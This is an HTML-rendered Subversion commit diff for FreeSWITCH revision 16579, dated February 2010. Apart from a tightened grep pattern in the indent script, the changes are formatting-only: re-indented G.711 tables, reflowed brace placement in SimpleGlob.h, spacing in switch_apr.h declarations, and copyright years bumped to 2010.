<li><a href="#freeswitchtrunksrcmodsaymod_say_thmod_say_thc">freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_zhmod_say_zhc">freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_cdrmod_xml_cdrc">freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_curlmod_xml_curlc">freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_ldaplutil_ldaph">freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_ldapmod_xml_ldapc">freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_ldapmod_xml_ldapv2c">freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_rpcmod_xml_rpcc">freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c</a></li>
<li><a href="#freeswitchtrunksrcswitchc">freeswitch/trunk/src/switch.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_aprc">freeswitch/trunk/src/switch_apr.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_bufferc">freeswitch/trunk/src/switch_buffer.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_callerc">freeswitch/trunk/src/switch_caller.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_channelc">freeswitch/trunk/src/switch_channel.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_configc">freeswitch/trunk/src/switch_config.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_consolec">freeswitch/trunk/src/switch_console.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_corec">freeswitch/trunk/src/switch_core.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_asrc">freeswitch/trunk/src/switch_core_asr.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_codecc">freeswitch/trunk/src/switch_core_codec.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_dbc">freeswitch/trunk/src/switch_core_db.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_directoryc">freeswitch/trunk/src/switch_core_directory.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_event_hookc">freeswitch/trunk/src/switch_core_event_hook.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_filec">freeswitch/trunk/src/switch_core_file.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_hashc">freeswitch/trunk/src/switch_core_hash.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_ioc">freeswitch/trunk/src/switch_core_io.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_media_bugc">freeswitch/trunk/src/switch_core_media_bug.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_memoryc">freeswitch/trunk/src/switch_core_memory.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_port_allocatorc">freeswitch/trunk/src/switch_core_port_allocator.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_rwlockc">freeswitch/trunk/src/switch_core_rwlock.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_sessionc">freeswitch/trunk/src/switch_core_session.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_speechc">freeswitch/trunk/src/switch_core_speech.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_sqldbc">freeswitch/trunk/src/switch_core_sqldb.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_state_machinec">freeswitch/trunk/src/switch_core_state_machine.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_timerc">freeswitch/trunk/src/switch_core_timer.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_cppcpp">freeswitch/trunk/src/switch_cpp.cpp</a></li>
<li><a href="#freeswitchtrunksrcswitch_dsoc">freeswitch/trunk/src/switch_dso.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_eventc">freeswitch/trunk/src/switch_event.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivrc">freeswitch/trunk/src/switch_ivr.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_asyncc">freeswitch/trunk/src/switch_ivr_async.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_bridgec">freeswitch/trunk/src/switch_ivr_bridge.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_menuc">freeswitch/trunk/src/switch_ivr_menu.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_originatec">freeswitch/trunk/src/switch_ivr_originate.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_play_sayc">freeswitch/trunk/src/switch_ivr_play_say.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_loadable_modulec">freeswitch/trunk/src/switch_loadable_module.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_logc">freeswitch/trunk/src/switch_log.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_mprintfc">freeswitch/trunk/src/switch_mprintf.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_natc">freeswitch/trunk/src/switch_nat.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_odbcc">freeswitch/trunk/src/switch_odbc.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_pcmc">freeswitch/trunk/src/switch_pcm.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_regexc">freeswitch/trunk/src/switch_regex.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_resamplec">freeswitch/trunk/src/switch_resample.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_rtpc">freeswitch/trunk/src/switch_rtp.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_schedulerc">freeswitch/trunk/src/switch_scheduler.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_stunc">freeswitch/trunk/src/switch_stun.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_swigc">freeswitch/trunk/src/switch_swig.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_timec">freeswitch/trunk/src/switch_time.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_utilsc">freeswitch/trunk/src/switch_utils.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_xmlc">freeswitch/trunk/src/switch_xml.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_xml_configc">freeswitch/trunk/src/switch_xml_config.c</a></li>
</ul>
</div>
<div id="patch">
<h3>Diff</h3>
<a id="freeswitchtrunkbuildindent_optionssh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/build/indent_options.sh (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/build/indent_options.sh        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/build/indent_options.sh        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,5 +1,5 @@
</span><span class="cx"> #!/bin/sh
</span><span class="cx"> echo -n "-brs -npsl -di0 -br -ce -d0 -cli0 -npcs -nfc1 -ut -i4 -ts4 -l155 -cs -T size_t " > ./.indent.pro
</span><del>-grep typedef `find ./src/include/ -name \*.h` | grep apr_ | grep -v "\*\|{" | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print "-T $l[2] "' >> ./.indent.pro
-grep typedef `find ./src/include/ -name \*.h` | grep switch_ | grep -v "\*\|{" | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print "-T $l[2] "' >> ./.indent.pro
</del><ins>+grep "typedef struct.*_t;" `find ./src/include/ -name \*.h` | grep apr_ | grep -v "\*\|{" | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print "-T $l[2] "' >> ./.indent.pro
+grep "typedef struct.*_t;" `find ./src/include/ -name \*.h` | grep switch_ | grep -v "\*\|{" | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print "-T $l[2] "' >> ./.indent.pro
</ins><span class="cx"> grep "} switch_" ./src/include/*.h | perl -ne '@l = split; $l[1] =~ s/;//g ; print " -T $l[1] "' >> ./.indent.pro
</span></span></pre></div>
<a id="freeswitchtrunksrcg711c"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/g711.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/g711.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/g711.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -35,58 +35,58 @@
</span><span class="cx"> #include "g711.h"
</span><span class="cx">
</span><span class="cx"> /* Copied from the CCITT G.711 specification */
</span><del>-static const uint8_t ulaw_to_alaw_table[256] =
-{
- 42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
- 58, 59, 56, 57, 62, 63, 60, 61, 50, 51, 48, 49, 54, 55, 52, 53,
- 10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 26,
- 27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21, 106,
- 104, 105, 110, 111, 108, 109, 98, 99, 96, 97, 102, 103, 100, 101, 122, 120,
- 126, 127, 124, 125, 114, 115, 112, 113, 118, 119, 116, 117, 75, 73, 79, 77,
- 66, 67, 64, 65, 70, 71, 68, 69, 90, 91, 88, 89, 94, 95, 92, 93,
- 82, 82, 83, 83, 80, 80, 81, 81, 86, 86, 87, 87, 84, 84, 85, 85,
- 170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
- 186, 187, 184, 185, 190, 191, 188, 189, 178, 179, 176, 177, 182, 183, 180, 181,
- 138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 154,
- 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149, 234,
- 232, 233, 238, 239, 236, 237, 226, 227, 224, 225, 230, 231, 228, 229, 250, 248,
- 254, 255, 252, 253, 242, 243, 240, 241, 246, 247, 244, 245, 203, 201, 207, 205,
- 194, 195, 192, 193, 198, 199, 196, 197, 218, 219, 216, 217, 222, 223, 220, 221,
- 210, 210, 211, 211, 208, 208, 209, 209, 214, 214, 215, 215, 212, 212, 213, 213
</del><ins>+static const uint8_t ulaw_to_alaw_table[256] = {
+        42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
+        58, 59, 56, 57, 62, 63, 60, 61, 50, 51, 48, 49, 54, 55, 52, 53,
+        10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 26,
+        27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21, 106,
+        104, 105, 110, 111, 108, 109, 98, 99, 96, 97, 102, 103, 100, 101, 122, 120,
+        126, 127, 124, 125, 114, 115, 112, 113, 118, 119, 116, 117, 75, 73, 79, 77,
+        66, 67, 64, 65, 70, 71, 68, 69, 90, 91, 88, 89, 94, 95, 92, 93,
+        82, 82, 83, 83, 80, 80, 81, 81, 86, 86, 87, 87, 84, 84, 85, 85,
+        170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
+        186, 187, 184, 185, 190, 191, 188, 189, 178, 179, 176, 177, 182, 183, 180, 181,
+        138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 154,
+        155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149, 234,
+        232, 233, 238, 239, 236, 237, 226, 227, 224, 225, 230, 231, 228, 229, 250, 248,
+        254, 255, 252, 253, 242, 243, 240, 241, 246, 247, 244, 245, 203, 201, 207, 205,
+        194, 195, 192, 193, 198, 199, 196, 197, 218, 219, 216, 217, 222, 223, 220, 221,
+        210, 210, 211, 211, 208, 208, 209, 209, 214, 214, 215, 215, 212, 212, 213, 213
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> /* These transcoding tables are copied from the CCITT G.711 specification. To achieve
</span><span class="cx"> optimal results, do not change them. */
</span><span class="cx">
</span><del>-static const uint8_t alaw_to_ulaw_table[256] =
-{
- 42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
- 57, 58, 55, 56, 61, 62, 59, 60, 49, 50, 47, 48, 53, 54, 51, 52,
- 10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 5,
- 26, 27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21,
- 98, 99, 96, 97, 102, 103, 100, 101, 93, 93, 92, 92, 95, 95, 94, 94,
- 116, 118, 112, 114, 124, 126, 120, 122, 106, 107, 104, 105, 110, 111, 108, 109,
- 72, 73, 70, 71, 76, 77, 74, 75, 64, 65, 63, 63, 68, 69, 66, 67,
- 86, 87, 84, 85, 90, 91, 88, 89, 79, 79, 78, 78, 82, 83, 80, 81,
- 170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
- 185, 186, 183, 184, 189, 190, 187, 188, 177, 178, 175, 176, 181, 182, 179, 180,
- 138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 133,
- 154, 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149,
- 226, 227, 224, 225, 230, 231, 228, 229, 221, 221, 220, 220, 223, 223, 222, 222,
- 244, 246, 240, 242, 252, 254, 248, 250, 234, 235, 232, 233, 238, 239, 236, 237,
- 200, 201, 198, 199, 204, 205, 202, 203, 192, 193, 191, 191, 196, 197, 194, 195,
- 214, 215, 212, 213, 218, 219, 216, 217, 207, 207, 206, 206, 210, 211, 208, 209
</del><ins>+static const uint8_t alaw_to_ulaw_table[256] = {
+        42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
+        57, 58, 55, 56, 61, 62, 59, 60, 49, 50, 47, 48, 53, 54, 51, 52,
+        10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 5,
+        26, 27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21,
+        98, 99, 96, 97, 102, 103, 100, 101, 93, 93, 92, 92, 95, 95, 94, 94,
+        116, 118, 112, 114, 124, 126, 120, 122, 106, 107, 104, 105, 110, 111, 108, 109,
+        72, 73, 70, 71, 76, 77, 74, 75, 64, 65, 63, 63, 68, 69, 66, 67,
+        86, 87, 84, 85, 90, 91, 88, 89, 79, 79, 78, 78, 82, 83, 80, 81,
+        170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
+        185, 186, 183, 184, 189, 190, 187, 188, 177, 178, 175, 176, 181, 182, 179, 180,
+        138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 133,
+        154, 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149,
+        226, 227, 224, 225, 230, 231, 228, 229, 221, 221, 220, 220, 223, 223, 222, 222,
+        244, 246, 240, 242, 252, 254, 248, 250, 234, 235, 232, 233, 238, 239, 236, 237,
+        200, 201, 198, 199, 204, 205, 202, 203, 192, 193, 191, 191, 196, 197, 194, 195,
+        214, 215, 212, 213, 218, 219, 216, 217, 207, 207, 206, 206, 210, 211, 208, 209
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> uint8_t alaw_to_ulaw(uint8_t alaw)
</span><span class="cx"> {
</span><del>- return alaw_to_ulaw_table[alaw];
</del><ins>+        return alaw_to_ulaw_table[alaw];
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> uint8_t ulaw_to_alaw(uint8_t ulaw)
</span><span class="cx"> {
</span><del>- return ulaw_to_alaw_table[ulaw];
</del><ins>+        return ulaw_to_alaw_table[ulaw];
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> /*- End of file ------------------------------------------------------------*/
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeSimpleGlobh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/SimpleGlob.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/SimpleGlob.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/SimpleGlob.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -302,13 +302,17 @@
</span><span class="cx">
</span><span class="cx">         const char *GetFileNameS(char) const {
</span><span class="cx">                 return m_oFindDataA.cFileName;
</span><del>-        } const wchar_t *GetFileNameS(wchar_t) const {
</del><ins>+        }
+        const wchar_t *GetFileNameS(wchar_t) const {
</ins><span class="cx">                 return m_oFindDataW.cFileName;
</span><del>-        } bool IsDirS(char) const {
</del><ins>+        }
+        bool IsDirS(char) const {
</ins><span class="cx">                 return GetFileTypeS(m_oFindDataA.dwFileAttributes) == SG_FILETYPE_DIR;
</span><del>-        } bool IsDirS(wchar_t) const {
</del><ins>+        }
+        bool IsDirS(wchar_t) const {
</ins><span class="cx">                 return GetFileTypeS(m_oFindDataW.dwFileAttributes) == SG_FILETYPE_DIR;
</span><del>-        } SG_FileType GetFileTypeS(const char *a_pszPath) {
</del><ins>+        }
+        SG_FileType GetFileTypeS(const char *a_pszPath) {
</ins><span class="cx">                 return GetFileTypeS(GetFileAttributesA(a_pszPath));
</span><span class="cx">         }
</span><span class="cx">         SG_FileType GetFileTypeS(const wchar_t *a_pszPath) {
</span><span class="lines">@@ -390,10 +394,12 @@
</span><span class="cx">         const char *GetFileNameS(char) const {
</span><span class="cx">                 SG_ASSERT(m_uiCurr != (size_t) -1);
</span><span class="cx">                 return m_glob.gl_pathv[m_uiCurr];
</span><del>-        } bool IsDirS(char) const {
</del><ins>+        }
+        bool IsDirS(char) const {
</ins><span class="cx">                 SG_ASSERT(m_uiCurr != (size_t) -1);
</span><span class="cx">                 return m_bIsDir;
</span><del>-        } SG_FileType GetFileTypeS(const char *a_pszPath) const {
</del><ins>+        }
+        SG_FileType GetFileTypeS(const char *a_pszPath) const {
</ins><span class="cx">                 struct stat sb;
</span><span class="cx">                 if (0 != stat(a_pszPath, &sb)) {
</span><span class="cx">                         return SG_FILETYPE_INVALID;
</span><span class="lines">@@ -777,7 +783,7 @@
</span><span class="cx"> // ---------------------------------------------------------------------------
</span><span class="cx">
</span><span class="cx"> typedef CSimpleGlobTempl < char >CSimpleGlobA;        /*!< @brief ASCII/MBCS version of CSimpleGlob */
</span><del>-typedef CSimpleGlobTempl < wchar_t >CSimpleGlobW;        /*!< @brief wchar_t version of CSimpleGlob */
</del><ins>+typedef CSimpleGlobTempl < wchar_t > CSimpleGlobW;        /*!< @brief wchar_t version of CSimpleGlob */
</ins><span class="cx"> #if defined(_UNICODE)
</span><span class="cx"> # define CSimpleGlob CSimpleGlobW        /*!< @brief TCHAR version dependent on if _UNICODE is defined */
</span><span class="cx"> #else
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeprivateswitch_core_pvth"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/private/switch_core_pvt.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/private/switch_core_pvt.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/private/switch_core_pvt.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -115,7 +115,7 @@
</span><span class="cx">         switch_codec_implementation_t write_impl;
</span><span class="cx">         switch_codec_implementation_t video_read_impl;
</span><span class="cx">         switch_codec_implementation_t video_write_impl;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_audio_resampler_t *read_resampler;
</span><span class="cx">         switch_audio_resampler_t *write_resampler;
</span><span class="cx">
</span><span class="lines">@@ -130,7 +130,7 @@
</span><span class="cx">         void *streams[SWITCH_MAX_STREAMS];
</span><span class="cx">         int stream_count;
</span><span class="cx">
</span><del>-        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">         void *private_info;
</span><span class="cx">         switch_queue_t *event_queue;
</span><span class="cx">         switch_queue_t *message_queue;
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitchh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_aprh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_apr.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_apr.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_apr.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -40,12 +40,11 @@
</span><span class="cx"> #define SWITCH_APR_H
</span><span class="cx">
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><del>-
</del><span class="cx"> #ifdef WIN32
</span><del>-typedef DWORD switch_thread_id_t;
</del><ins>+typedef DWORD switch_thread_id_t;
</ins><span class="cx"> #else
</span><span class="cx"> #include <pthread.h>
</span><del>-typedef pthread_t switch_thread_id_t;
</del><ins>+typedef pthread_t switch_thread_id_t;
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_thread_id_t) switch_thread_self(void);
</span><span class="lines">@@ -108,7 +107,7 @@
</span><span class="cx"> * @bug We aught to provide an alternative to RTLD_GLOBAL, which
</span><span class="cx"> * is the only supported method of loading DSOs today.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t **res_handle, const char *path, switch_memory_pool_t *ctx);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t ** res_handle, const char *path, switch_memory_pool_t *ctx);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * Close a DSO library.
</span><span class="lines">@@ -378,7 +377,7 @@
</span><span class="cx"> * it will behave as either a nested or an unnested lock.
</span><span class="cx"> *
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t **lock, unsigned int flags, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t ** lock, unsigned int flags, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> /**
</span><span class="lines">@@ -420,7 +419,7 @@
</span><span class="cx"> /** Opaque structure used for the rwlock */
</span><span class="cx">          typedef struct apr_thread_rwlock_t switch_thread_rwlock_t;
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t **rwlock, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t ** rwlock, switch_memory_pool_t *pool);
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_destroy(switch_thread_rwlock_t *rwlock);
</span><span class="cx"> SWITCH_DECLARE(switch_memory_pool_t *) switch_thread_rwlock_pool_get(switch_thread_rwlock_t *rwlock);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_rdlock(switch_thread_rwlock_t *rwlock);
</span><span class="lines">@@ -454,7 +453,7 @@
</span><span class="cx"> * will be stored.
</span><span class="cx"> * @param pool the pool from which to allocate the mutex.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t **cond, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t ** cond, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * Put the active calling thread to sleep until signaled to wake up. Each
</span><span class="lines">@@ -580,7 +579,7 @@
</span><span class="cx"> * @param queue_capacity maximum size of the queue
</span><span class="cx"> * @param pool a pool to allocate queue from
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t **queue, unsigned int queue_capacity, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t ** queue, unsigned int queue_capacity, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * pop/get an object from the queue, blocking if the queue is already empty
</span><span class="lines">@@ -774,17 +773,14 @@
</span><span class="cx"> * @remark If perm is SWITCH_FPROT_OS_DEFAULT and the file is being created,
</span><span class="cx"> * appropriate default permissions will be used.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t **newf, const char *fname, int32_t flag, switch_fileperms_t perm,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t ** newf, const char *fname, int32_t flag, switch_fileperms_t perm,
</ins><span class="cx">                                                                                                  switch_memory_pool_t *pool);
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_file_seek(switch_file_t *thefile, switch_seek_where_t where, int64_t *offset);
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path,
-                                                                                                 const char *to_path,
-                                                                                                 switch_fileperms_t perms,
-                                                                                                 switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path, const char *to_path, switch_fileperms_t perms, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * Close the specified file.
</span><span class="lines">@@ -844,7 +840,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_file_write(switch_file_t *thefile, const void *buf, switch_size_t *nbytes);
</span><span class="cx"> SWITCH_DECLARE(int) switch_file_printf(switch_file_t *thefile, const char *format, ...);
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t **thefile, char *templ, int32_t flags, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t ** thefile, char *templ, int32_t flags, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_size_t) switch_file_get_size(switch_file_t *thefile);
</span><span class="cx">
</span><span class="lines">@@ -885,7 +881,7 @@
</span><span class="cx">          };
</span><span class="cx">          typedef struct switch_array_header_t switch_array_header_t;
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t **new_dir, const char *dirname, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t ** new_dir, const char *dirname, switch_memory_pool_t *pool);
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_dir_close(switch_dir_t *thedir);
</span><span class="cx"> SWITCH_DECLARE(const char *) switch_dir_next_file(switch_dir_t *thedir, char *buf, switch_size_t len);
</span><span class="cx">
</span><span class="lines">@@ -920,7 +916,7 @@
</span><span class="cx"> * @param new_attr The newly created threadattr.
</span><span class="cx"> * @param pool The pool to use
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t **new_attr, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t ** new_attr, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> /**
</span><span class="cx"> * Set if newly created threads should be created in detached state.
